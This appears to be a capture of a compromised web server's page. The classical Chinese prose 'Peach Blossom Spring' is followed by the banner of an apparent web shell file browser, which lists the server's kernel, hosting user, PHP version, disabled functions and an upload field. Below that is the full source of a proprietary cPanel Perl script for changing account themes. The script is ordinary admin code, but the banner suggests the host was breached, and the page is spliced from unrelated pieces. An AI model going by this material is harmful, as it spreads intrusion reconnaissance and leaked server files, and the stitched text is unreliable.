晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /scripts/ |
Upload File : |
#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - scripts/modify_accounts Copyright 2022 cPanel, L.L.C.
# All rights reserved.
# copyright@cpanel.net http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
package scripts::modify_accounts;
use strict;
use warnings;
use Cpanel::Config::Constants ('DEFAULT_CPANEL_THEME');
use Cpanel::AcctUtils::Owner ();
use Cpanel::Config::LoadUserDomains ();
use Cpanel::JSON ();
use Cpanel::Logger ();
use Cpanel::Reseller ();
use Cpanel::SafeRun::Errors ();
use Whostmgr::ACLS ();
use Getopt::Long ();
my $logger = Cpanel::Logger->new();
local $| = 1;
exit main(@ARGV) unless caller;
sub main {
my @args = @_;
if ( $> != 0 ) {
$logger->die("Sorry, only root can use this script.");
}
my ( $theme, $users, $help, $all_users, $reseller, $style );
Getopt::Long::GetOptionsFromArray(
\@args,
'help' => \$help,
'theme=s' => \$theme,
'all-users' => \$all_users,
'users=s' => \$users,
'all-users-from-reseller=s' => \$reseller,
'style=s' => \$style
)
and ( !@args )
or do {
usage();
exit 1;
};
if ($help) {
usage();
exit;
}
unless ( $theme && ( $all_users || $users || $reseller ) ) {
usage();
exit 1;
}
if ($reseller) {
unless ( Cpanel::Reseller::isreseller($reseller) ) {
$logger->die("'$reseller' is not a reseller.");
}
}
local $ENV{'REMOTE_USER'} = 'root';
Whostmgr::ACLS::init_acls();
my %userdomains = Cpanel::Config::LoadUserDomains::loadtrueuserdomains( undef, 1 );
my @list_users;
if ( $all_users || $reseller ) {
@list_users = keys %userdomains;
if ($reseller) {
@list_users = grep { my $real_owner = Cpanel::AcctUtils::Owner::getowner($_); $real_owner && $real_owner eq $reseller ? 1 : 0 } @list_users;
}
}
else {
@list_users = split( /\s*,\s*/, $users );
}
my %updated_users;
foreach my $user (@list_users) {
unless ( exists $userdomains{$user} ) {
$logger->warn("User: $user does not exist.");
next;
}
my %modify_opts = (
'user' => $user,
'CPTHEME' => $theme,
);
$modify_opts{'STYLE'} = $style if $style;
# Whostmgr::Accounts::Modify does not ship,
# we need to use whmapi1 modifyacct instead
my $json = Cpanel::SafeRun::Errors::saferunallerrors(
'/usr/local/cpanel/bin/whmapi1',
'--output', 'json',
'modifyacct',
%modify_opts
);
my $response = Cpanel::JSON::Load($json);
if ( $response->{'metadata'}{'result'} == 0 ) {
$logger->warn( "Unable to update data for $user: " . $response->{'metadata'}{'reason'} );
}
else {
$updated_users{$user} = 1;
}
}
my @failed_accts = grep { !$updated_users{$_} } @list_users;
if ( scalar @failed_accts ) {
$logger->warn( "Could not update these users: " . join( ', ', @failed_accts ) );
exit 1;
}
else {
$logger->info("Users are successfully updated.");
exit 0;
}
}
sub usage {
print <<"EOM";
modify_accounts: Modify existing accounts to use a theme or a style
Usage:
modify_accounts --theme=$Cpanel::Config::Constants::DEFAULT_CPANEL_THEME [--users=user1,another_user|--all-users|--all-users-from-reseller=reseller1]
Options:
--help: print usage and exit
--theme: the theme to be adopted
--users: a list of users to be modified, comma separated
--all-users: update all users on the system
--all-users-from-reseller: update all users that are owned by reseller
--style: update specified users to use this style
EOM
return;
}